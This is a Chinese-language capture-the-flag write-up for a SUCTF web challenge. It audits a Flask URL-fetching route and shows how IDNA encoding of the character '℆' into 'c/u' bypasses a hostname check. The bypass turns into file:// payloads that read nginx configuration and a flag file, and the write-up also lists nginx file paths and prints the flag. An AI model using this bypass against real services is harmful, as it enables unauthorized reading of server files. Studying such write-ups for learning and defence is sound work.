知识点:1.nignx
2.idna编码与utf-8编码的漏洞
1.开题
查看源码,整理代码:
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
//经过urlparse解析所得hostname不能为suctf.cc
if host == 'suctf.cc':
return "我扌 your problem? 111"
//urlsplit解析后hostname不能为suctf.cc
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
2.代码审计,需要绕过两个if语句
finalurl应该是文件的形式file://
发现里面有idna编码到Utf-8编码的转换,这两个编码形式的转换是存在漏洞的
idna是国际化域名
idna与utf-8编码漏洞 - Hanamizuki花水木 - 博客园
℆这个字符,如果使用python3进行idna编码的话
print('℆'.encode('idna'))
结果
b'c/u'
如果再使用utf-8进行解码的话
print(b'c/u'.decode('utf-8'))
结果
c/u
通过这种方法可以绕过网站的一些过滤字符
3.找到flag的位置,根据提示,用的是nignx服务器,我从别人的wp那里复制一下常用的文件储存地址,方便记忆
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf
于是我们可以构造payload:
/getUrl?url=file://suctf.c℆sr/local/nginx/conf/nginx.conf
getUrl?url=file://suctf.c℆sr/fffffflag
得到flag{62903ed4-53f9-4ebd-b13a-136082b2610e}